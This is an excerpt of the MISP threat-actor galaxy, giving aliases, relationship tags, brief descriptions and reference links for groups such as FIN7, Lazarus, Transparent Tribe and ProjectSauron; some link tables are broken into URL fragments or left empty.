The tag is: *misp-galaxy:threat-actor*="FIN7"
FIN7 is also known as:

- CARBON SPIDER
- GOLD NIAGARA
- Calcium
- ATK32
- G0046
- G0008
- Coreid
- Carbanak

View relationships graph

FIN7 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="FIN7 - G0046" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Carbanak - G0008" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Sangria Tempest" with estimative-language:likelihood-probability="likely"

*Table 11148. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Carbanak">https://en.wikipedia.org/wiki/Carbanak</a></td>
</tr>
<tr>
<td><a href="https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe">https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe</a></td>
</tr>
<tr>
<td><a href="https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns">https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/">https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/</a></td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/resources/threat-research/Anunak_APT_against_financial_institutions.pdf">https://www.group-ib.com/resources/threat-research/Anunak_APT_against_financial_institutions.pdf</a></td>
</tr>
</tbody>
</table>
TeamSpy Crew

Researchers have uncovered a long-term cyber-espionage campaign that used a combination of legitimate software packages and commodity malware tools to target a variety of heavy industry, government intelligence agencies and political activists. Known as the TeamSpy crew because of its affinity for using the legitimate TeamViewer application as part of its toolset, the attackers may have been active for as long as 10 years, researchers say. The attack appears to be a years-long espionage campaign, but experts who have analyzed the victim profile, malware components and command-and-control infrastructure say that it’s not entirely clear what kind of data the attackers are going after. What is clear, though, is that the attackers have been at this for a long time and that they have specific people in mind as targets. Researchers at the CrySyS Lab in Hungary were alerted by the Hungarian National Security Authority to an attack against a high-profile target in the country and began looking into the campaign. They quickly discovered that some of the infrastructure being used in the attack had been in use for some time and that the target they were investigating was by no means the only one.

The tag is: misp-galaxy:threat-actor="TeamSpy Crew"

TeamSpy Crew is also known as:
• TeamSpy
• Team Bear
• Anger Bear
• IRON LYRIC

Table 11149. Table References

Links

https://securelist.com/blog/incidents/35520/the-teamspy-crew-attacks-abusing-teamviewer-for-cyberespionage-8/
https://www.cfr.org/interactive/cyber-operations/team-spy-crew
https://threatpost.com/researchers-uncover-teamspy-attack-campaign-targeting-government-research-targets-032013/77646/
https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector

BuhTrap

Buhtrap has been active since 2014, however their first attacks against financial institutions were only detected in August 2015. Earlier, the group had only focused on targeting banking clients. At the moment, the group is known to target Russian and Ukrainian banks. From August 2015 to February 2016 Buhtrap managed to conduct 13 successful attacks against Russian banks for a total amount of 1.8 billion rubles ($25.7 mln). The number of successful attacks against Ukrainian banks has not been identified. Buhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious functions from the network. As a result, banks have to shut down the whole infrastructure which provokes delay in servicing customers and additional losses. Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central Bank of Russia (further referred to as BCS CBR). We have not identified incidents of attacks involving online money transfer systems, ATM machines or payment gates which are known to be of interest for other criminal groups.

The tag is: misp-galaxy:threat-actor="BuhTrap"

Table 11150. Table References

Links

WOLF SPIDER

FIN4 is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013. FIN4 is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.

The tag is: *misp-galaxy:threat-actor*="WOLF SPIDER"

**WOLF SPIDER** is also known as:

- FIN4
- G0085

Table 11151. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.reuters.com/article/2015/06/23/us-hackers-insidertrading-idUSKBN0P31M720150623">https://www.reuters.com/article/2015/06/23/us-hackers-insidertrading-idUSKBN0P31M720150623</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-fin4.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-fin4.pdf</a></td>
</tr>
<tr>
<td><a href="https://pwc.blogs.com/cyber_security_updates/2015/06/unfin4ished-business.html">https://pwc.blogs.com/cyber_security_updates/2015/06/unfin4ished-business.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0085/">https://attack.mitre.org/groups/G0085/</a></td>
</tr>
</tbody>
</table>

Boulder Bear

First observed activity in December 2013.

The tag is: *misp-galaxy:threat-actor*="Boulder Bear"

**SHARK SPIDER**

This group's activity was first observed in November 2013. It leverages a banking Trojan more commonly known as Shylock which aims to compromise online banking credentials and credentials related to Bitcoin wallets.
**UNION SPIDER**

Adversary targeting manufacturing and industrial organizations.

The tag is: `misp-galaxy:threat-actor="UNION SPIDER"`

---

**Silent Chollima**

The tag is: `misp-galaxy:threat-actor="Silent Chollima"`

Silent Chollima is also known as:

- OperationTroy
- Guardian of Peace
- GOP
- WHOis Team
- Andariel
- Subgroup: Andariel

---

**Lazarus Group**

Since 2009, HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims; some intrusions have resulted in the exfiltration of data while others have been disruptive in nature. Commercial reporting has referred to this activity as Lazarus Group and Guardians of Peace. Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover, Duuzer, and Hangman.

The tag is: `misp-galaxy:threat-actor="Lazarus Group"`

Lazarus Group is also known as:

- Operation DarkSeoul
• Dark Seoul
• Hidden Cobra
• Hastati Group
• Andariel
• Unit 121
• Bureau 121
• NewRomanic Cyber Army Team
• Bluenoroff
• Subgroup: Bluenoroff
• Group 77
• Labyrinth Chollima
• Operation Troy
• Operation GhostSecret
• Operation AppleJeus
• APT38
• APT 38
• Stardust Chollima
• Whois Hacking Team
• Zinc
• Appleworm
• Nickel Academy
• APT-C-26
• NICKEL GLADSTONE
• COVELLITE
• ATK3
• G0032
• ATK117
• G0082

View relationships graph

Lazarus Group has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="Lazarus Group - G0032" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="Operation Sharpshooter" with estimative-language:likelihood-probability="likely"
• linked-to: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:mitre-ics-groups="Lazarus group" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:360net-threat-actor="Lazarus - APT-C-26" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:microsoft-activity-group="Diamond Sleet" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:microsoft-activity-group="Sapphire Sleet" with estimative-language:likelihood-probability="likely"

Table 1154. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://threatpost.com/operation-blockbuster-coalition-ties-destructive-attacks-to-lazarus-group/116422/">https://threatpost.com/operation-blockbuster-coalition-ties-destructive-attacks-to-lazarus-group/116422/</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-164A">https://www.us-cert.gov/ncas/alerts/TA17-164A</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-318A">https://www.us-cert.gov/ncas/alerts/TA17-318A</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA17-318B">https://www.us-cert.gov/ncas/alerts/TA17-318B</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/operation-applejeus/87553/">https://securelist.com/operation-applejeus/87553/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-under-the-hood/77908/">https://securelist.com/lazarus-under-the-hood/77908/</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/lazarus-group">https://www.cfr.org/interactive/cyber-operations/lazarus-group</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/operation-ghostsecret">https://www.cfr.org/interactive/cyber-operations/operation-ghostsecret</a></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/compromise-cryptocurrency-exchanges-south-korea">https://www.cfr.org/interactive/cyber-operations/compromise-cryptocurrency-exchanges-south-korea</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2019/03/the-advanced-persistent-threat-files-lazarus-group/">https://blog.malwarebytes.com/threat-analysis/2019/03/the-advanced-persistent-threat-files-lazarus-group/</a></td>
</tr>
<tr>
<td><a href="https://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html">https://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-</td>
</tr>
<tr>
<td>continue-anniversary-korean-war</td>
</tr>
<tr>
<td><a href="https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/the-">https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/the-</a></td>
</tr>
<tr>
<td>hack-of-sony-pictures-what-you-need-to-know</td>
</tr>
<tr>
<td><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/new-kill">https://blog.trendmicro.com/trendlabs-security-intelligence/new-kill</a></td>
</tr>
<tr>
<td>disk-variant-hits-financial-organizations-in-latin-america</td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-">https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-</a></td>
</tr>
<tr>
<td>american-casino</td>
</tr>
<tr>
<td><a href="https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hidden-">https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hidden-</a></td>
</tr>
<tr>
<td>cobra-targets-turkish-financial-sector-new-bankshot-implant</td>
</tr>
<tr>
<td><a href="https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-">https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-</a></td>
</tr>
<tr>
<td>operation-ghostsecret-attack-seeks-to-steal-data-worldwide</td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/AR19-129A">https://www.us-cert.gov/ncas/analysis-reports/AR19-129A</a></td>
</tr>
<tr>
<td><a href="https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-">https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-</a></td>
</tr>
<tr>
<td>sharpshooter-targets-global-defense-critical-infrastructure</td>
</tr>
<tr>
<td><a href="https://securelist.com/cryptocurrency-businesses-still-being-targeted">https://securelist.com/cryptocurrency-businesses-still-being-targeted</a></td>
</tr>
<tr>
<td>by-lazarus/90019</td>
</tr>
<tr>
<td><a href="https://www.theregister.co.uk/2019/04/10/lazarus_group_maleware">https://www.theregister.co.uk/2019/04/10/lazarus_group_maleware</a></td>
</tr>
<tr>
<td>eration-Blockbuster-Report.pdf</td>
</tr>
<tr>
<td>r-charged-conspiracy-conduct-multiple-cyber-attacks-and</td>
</tr>
<tr>
<td>ital-threats/a-look-into-the-lazarus-groups-operations</td>
</tr>
<tr>
<td><a href="https://www.kaspersky.com/about/press-releases/2017_chasing-lazarus-a">https://www.kaspersky.com/about/press-releases/2017_chasing-lazarus-a</a></td>
</tr>
<tr>
<td>hunt-for-the-infamous-hackers-to-prevent-large-bank-robberies</td>
</tr>
<tr>
<td><a href="https://medium.com/threat-intel/lazarus-attacks-wannacry-5fdddee476c">https://medium.com/threat-intel/lazarus-attacks-wannacry-5fdddee476c</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0032/">https://attack.mitre.org/groups/G0032/</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/lazarus-apt-spinoff-linked-to-banking-hacks/1">https://threatpost.com/lazarus-apt-spinoff-linked-to-banking-hacks/1</a></td>
</tr>
<tr>
<td>24746/</td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/commu">https://community.broadcom.com/symantecenterprise/communities/commu</a></td>
</tr>
<tr>
<td>nity-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48</td>
</tr>
<tr>
<td>a9-b595-9234207ae7df&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5</td>
</tr>
<tr>
<td>e68&amp;tab=librarydocuments</td>
</tr>
<tr>
<td><a href="https://www.bankinfosecurity.com/vietnamese-bank-blocks-1-million-o">https://www.bankinfosecurity.com/vietnamese-bank-blocks-1-million-o</a></td>
</tr>
<tr>
<td>nline-heist-a-9105</td>
</tr>
<tr>
<td>dUSKCNOYB0DD</td>
</tr>
<tr>
<td>connect/blogs/swift-attackers-malware-linked-more-financial-attacks</td>
</tr>
<tr>
<td>ash-lazarus-atm-malware</td>
</tr>
<tr>
<td><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/what-w">https://blog.trendmicro.com/trendlabs-security-intelligence/what-w</a></td>
</tr>
<tr>
<td>e-we-can-learn-from-the-bangladesh-central-bank-cyber-heist/</td>
</tr>
<tr>
<td>al-banks-new-malware</td>
</tr>
</tbody>
</table>
VICEROY TIGER is an adversary with a nexus to India that has historically targeted entities throughout multiple sectors. Older activity targeted multiple sectors and countries; however, since 2015 this adversary appears to focus on entities in Pakistan with a particular focus on government and security organizations. This adversary consistently leverages spear phishing emails containing malicious Microsoft Office documents, malware designed to target the Android mobile platform, and phishing activity designed to harvest user credentials. In March 2017, the 360 Chasing Team found a sample of targeted attacks that confirmed the previously unknown sample of APT’s attack actions, which the organization can now trace back at least in April 2016. The chasing team named the attack organization APT-C-35. In June 2017, the 360 Threat Intelligence Center discovered the organization’s new attack activity, confirmed and exposed the gang’s targeted attacks against Pakistan, and analyzed in detail. The unique EHDevel malicious code framework used by the organization.

The tag is: misp-galaxy:threat-actor="VICEROY TIGER"

VICEROY TIGER is also known as:
• OPERATION HANGOVER
• Donot Team
• APT-C-35
• SectorE02
• Orange Kala

View relationships graph

VICEROY TIGER has relationships with:

• similar: misp-galaxy:360net-threat-actor="摩诃草 - APT-C-09" with estimative-language:likelihood-probability="likely"

*Table 11155. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/">https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/</a></td>
</tr>
<tr>
<td><a href="https://ti.360.net/blog/articles/donot-group-is-targeting-pakistani-businessman-working-in-chinaen/">https://ti.360.net/blog/articles/donot-group-is-targeting-pakistani-businessman-working-in-chinaen/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/threat-assessment-hangover-threat-group/">https://unit42.paloaltonetworks.com/threat-assessment-hangover-threat-group/</a></td>
</tr>
</tbody>
</table>

**PIZZO SPIDER**

The tag is: *misp-galaxy:threat-actor="PIZZO SPIDER"*

PIZZO SPIDER is also known as:

• DD4BC
• Ambiorx

*Table 11156. Table References*
Corsair Jackal

The tag is: misp-galaxy:threat-actor="Corsair Jackal"

Corsair Jackal is also known as:

- TunisianCyberArmy

Table 11157. Table References

Snowglobe

In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007.

The tag is: misp-galaxy:threat-actor="SNOWGLOBE"

Snowglobe is also known as:

- Animal Farm
- Snowglobe
- ATK8

Table 11158. Table References
Deadeye Jackal

The Syrian Electronic Army (SEA) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial of service attacks, it has targeted political opposition groups, western news organizations, human rights groups and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011 the SEA has been the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies. The precise nature of SEA's relationship with the Syrian government has changed over time and is unclear.

The tag is: misp-galaxy:threat-actor="Deadeye Jackal"

Deadeye Jackal is also known as:

- SyrianElectronicArmy
- SEA

Table 11159. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Operation C-Major

Group targeting Indian Army or related assets in India, as well as activists and civil society in Pakistan. Attribution to a Pakistani connection has been made by TrendMicro and others.

The tag is: misp-galaxy:threat-actor="Operation C-Major"

Operation C-Major is also known as:

- C-Major
- Transparent Tribe
- Mythic Leopard
- ProjectM
- APT36
- APT 36
- TMP.Lapis
- Green Havildar
- COPPER FIELDSTONE
Operation C-Major has relationships with:

- similar: misp-galaxy:360net-threat-actor="透明部 - APT-C-56" with estimative-language:likelihood-probability="likely"

### Table 11160. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/adversary-of-the-month-for-may/">https://www.crowdstrike.com/blog/adversary-of-the-month-for-may/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe">https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe</a></td>
</tr>
<tr>
<td><a href="https://s.tencent.com/research/report/669.html">https://s.tencent.com/research/report/669.html</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html">https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/copper-fieldstone">https://www.secureworks.com/research/threat-profiles/copper-fieldstone</a></td>
</tr>
</tbody>
</table>

### Stealth Falcon

This threat actor targets civil society groups and Emirati journalists, activists, and dissidents.

The tag is: `misp-galaxy:threat-actor="Stealth Falcon"`

Stealth Falcon is also known as:

- FruityArmor
- G0038

View relationships graph

Stealth Falcon has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Stealth Falcon - G0038" with estimative-language:likelihood-probability="likely"
HummingBad

This group created a malware that takes over Android devices and generates $300,000 per month in fraudulent ad revenue. The group effectively controls an arsenal of over 85 million mobile devices around the world. With the potential to sell access to these devices to the highest bidder.

The tag is: `misp-galaxy:threat-actor="HummingBad"`

Table 11162. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

QUILTED TIGER

Dropping Elephant (also known as “Chinastrats” and “Patchwork“) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks.

The tag is: `misp-galaxy:threat-actor="QUILTED TIGER"`

QUILTED TIGER is also known as:

- Chinastrats
- Patchwork
- Monsoon
- Sarit
- Dropping Elephant
- APT-C-09
- ZINC EMERSON
- ATK11
- G0040
- Orange Athos
- Thirsty Gemini
Quilted Tiger has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Patchwork" - G0040 with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="MONSOON" - G0042 with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="摩诃草 - APT-C-09" with estimative-language:likelihood-probability="likely"

Table 11163. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=09308982-77bd-41e0-8269-f2cc9ce3266e&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=09308982-77bd-41e0-8269-f2cc9ce3266e&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
<tr>
<td><a href="https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign">https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign</a></td>
</tr>
<tr>
<td><a href="https://www.cymmetria.com/patchwork-targeted-attack/">https://www.cymmetria.com/patchwork-targeted-attack/</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/">https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0040/">https://attack.mitre.org/groups/G0040/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-dropping-elephant-actor/75328/">https://securelist.com/the-dropping-elephant-actor/75328/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/zinc-emerson">https://www.secureworks.com/research/threat-profiles/zinc-emerson</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/thirstygemini/">https://unit42.paloaltonetworks.com/atoms/thirstygemini/</a></td>
</tr>
</tbody>
</table>

Scarlet Mimic

Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, APT 2, it has not been concluded that the groups are the same. The attacks began over four years ago and their targeting pattern suggests that this adversary’s primary mission is to gather information about minority rights activists. We do not have evidence directly linking these attacks to a government source, but the information derived from these activities supports an
assessment that a group or groups with motivations similar to the stated position of the Chinese
government in relation to these targets is involved. The attacks we attribute to Scarlet Mimic have
primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes.
Both the Tibetan community and the Uyghurs, a Turkic Muslim minority residing primarily in
northwest China, have been targets of multiple sophisticated attacks in the past decade. Both also
have history of strained relationships with the government of the People's Republic of China (PRC),
though we do not have evidence that links Scarlet Mimic attacks to the PRC. Scarlet Mimic attacks
have also been identified against government organizations in Russia and India, who are
responsible for tracking activist and terrorist activities. While we do not know the precise target of
each of the Scarlet Mimic attacks, many of them align to the patterns described above.

The tag is: `misp-galaxy:threat-actor="Scarlet Mimic"`

Scarlet Mimic is also known as:

- G0029
- Golfing Taurus

View relationships graph

Scarlet Mimic has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="Scarlet Mimic - G0029"` with estimative-language:likelihood-probability="likely"

Table 11164. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/wiki/Groups">https://attack.mitre.org/wiki/Groups</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/scarlet-mimic-years-long-espionage-targets-minority-activists/">https://unit42.paloaltonetworks.com/scarlet-mimic-years-long-espionage-targets-minority-activists/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0029/">https://attack.mitre.org/groups/G0029/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/golfing-taurus/">https://unit42.paloaltonetworks.com/atoms/golfing-taurus/</a></td>
</tr>
</tbody>
</table>

**Poseidon Group**

Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The
group has a history of using information exfiltrated from victims to blackmail victim companies
into contracting the Poseidon Group as a security firm.

The tag is: `misp-galaxy:threat-actor="Poseidon Group"`

Poseidon Group is also known as:

- G0033

View relationships graph

Poseidon Group has relationships with:
**DragonOK**

Threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.

The tag is: `misp-galaxy:threat-actor="DragonOK"`

DragonOK is also known as:

- Moafee
- BRONZE OVERBROOK
- G0017
- G0002
- Shallow Taurus

View relationships graph

DragonOK has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="Moafee - G0002"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:mitre-intrusion-set="DragonOK - G0017"` with estimative-language:likelihood-probability="likely"
ProjectSauron

ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area. The name, ProjectSauron reflects the fact that the code authors refer to ‘Sauron' in the Lua scripts.

The tag is: misp-galaxy:threat-actor="ProjectSauron"

ProjectSauron is also known as:

- Strider
- Sauron
- Project Sauron
- G0041

View relationships graph

ProjectSauron has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Strider - G0041" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:360net-threat-actor="索伦之眼 - APT-C-16" with estimative-language:likelihood-probability="likely"

Table 11167. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/">https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.cfr.org/interactive/cyber-operations/project-sauron">https://www.cfr.org/interactive/cyber-operations/project-sauron</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0041/">https://attack.mitre.org/groups/G0041/</a></td>
<td></td>
</tr>
</tbody>
</table>

TA530

TA530, who we previously examined in relation to large-scale personalized phishing campaigns

The tag is: misp-galaxy:threat-actor="TA530"

Table 11168. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

GCMAN

GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.

The tag is: misp-galaxy:threat-actor="GCMAN"

GCMAN is also known as:

• G0036

View relationships graph

GCMAN has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="GCMAN - G0036" with estimative-language:likelihood-probability="likely"

Table 11169. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
APT22

Suckfly is a China-based threat group that has been active since at least 2014

The tag is: misp-galaxy:threat-actor="APT22"

APT22 is also known as:

- G0039
- Suckfly
- BRONZE OLIVE
- Group 46

View relationships graph

APT22 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Suckfly - G0039" with estimative-language:likelihood-probability="likely"

Table 11170. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=62e325ae-f551-4855-b9cf-28a7d52d1534&amp;CommunityKey=1ecf5f5-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=62e325ae-f551-4855-b9cf-28a7d52d1534&amp;CommunityKey=1ecf5f5-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7a60af1f-7786-446c-976b-7c71a16e9d3b&amp;CommunityKey=1ecf5f5-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7a60af1f-7786-446c-976b-7c71a16e9d3b&amp;CommunityKey=1ecf5f5-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0039/">https://attack.mitre.org/groups/G0039/</a></td>
</tr>
<tr>
<td><a href="https://exchange.xforce.ibmcloud.com/collection/Suckfly-APT-aa8af56fd12d25c98fc49ca5341160ab">https://exchange.xforce.ibmcloud.com/collection/Suckfly-APT-aa8af56fd12d25c98fc49ca5341160ab</a></td>
</tr>
<tr>
<td><a href="http://www.slideshare.net/CTruncer/ever-present-persistence-established-footholds-seen-in-the-wild">http://www.slideshare.net/CTruncer/ever-present-persistence-established-footholds-seen-in-the-wild</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-olive">https://www.secureworks.com/research/threat-profiles/bronze-olive</a></td>
